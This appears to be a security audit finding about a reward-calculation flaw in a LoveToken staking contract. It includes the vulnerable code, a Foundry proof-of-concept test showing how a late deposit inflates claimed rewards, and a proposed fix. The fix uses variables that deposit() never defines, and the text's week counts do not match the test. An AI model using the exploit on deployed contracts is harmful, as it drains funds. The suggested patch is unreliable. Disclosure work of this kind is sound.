Operational Logic error leading to draining of funds

• Description:

• If a user deposits 1 LoveToken in the Staking pool in week one without withdrawing, and deposits 10 LoveToken in week 6 and then claimRewards, the piece of code below will give him the rewards for the total 11 LoveToken during the six weeks period and not only 6 LoveToken for the first deposit.

  @> uint256 timeInWeeksSinceLastClaim = ((block.timestamp -

  lastClaim[msg.sender]) / 1 weeks);

  ​

  if (timeInWeeksSinceLastClaim < 1)

  revert Staking__StakingPeriodTooShort();

  ​

  lastClaim[msg.sender] = block.timestamp;

  ​

  // Send the same amount of LoveToken as the week waited times the number of token staked

  @> uint256 amountToClaim = userStakes[msg.sender] *

  timeInWeeksSinceLastClaim;

  loveToken.transferFrom(

  address(stakingVault),

  msg.sender,

  amountToClaim

  );

• Impact:

• A malicious user could accumulate a considerable amount of LoveToken, deposit, and withdraw in a small period of time multiplying the real rewards available for his address.

• Proof of Code:

  Add the code below into `StakingTest.t.sol`

  function test_ClaimRewardsPoC() public {

  uint balance = 11 ether;

  _giveLoveTokenToSoulmates(balance);

  ​

  uint balancePerSoulmates = 1 ether;

  uint256 secondBalancePerSoulmates = 10 ether;

  uint weekOfStaking = 5;

  ​

  vm.startPrank(soulmate1);

  loveToken.approve(address(stakingContract), balancePerSoulmates);

  stakingContract.deposit(balancePerSoulmates);

  vm.stopPrank();

  ​

  vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);

  ​

  vm.startPrank(soulmate1);

  loveToken.approve(address(stakingContract), secondBalancePerSoulmates);

  stakingContract.deposit(secondBalancePerSoulmates);

  vm.stopPrank();

  ​

  vm.prank(soulmate1);

  stakingContract.claimRewards();

  ​

  uint256 rewardsOfSixWeeksAfterDeposit = 66 ether;

  uint256 realBalance = loveToken.balanceOf(soulmate1);

  ​

  assertTrue(

  realBalance == rewardsOfSixWeeksAfterDeposit

  );

  }

• Recommendation:

  Recommended measures bellow

  + mapping(address owner => uint256 rewards) private s_rewards;

  ​

  function deposit(uint256 amount) public {

  if (loveToken.balanceOf(address(stakingVault)) == 0)

  revert Staking__NoMoreRewards();

  // No require needed because of overflow protection

  ​

  + s_rewards[msg.sender] = userStakes[msg.sender] * timeInWeeksSinceLastClaim;

  + lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(soulmateId);

  ​

  userStakes[msg.sender] += amount;

  ​

  loveToken.transferFrom(msg.sender, address(this), amount);

  emit Deposited(msg.sender, amount);

  }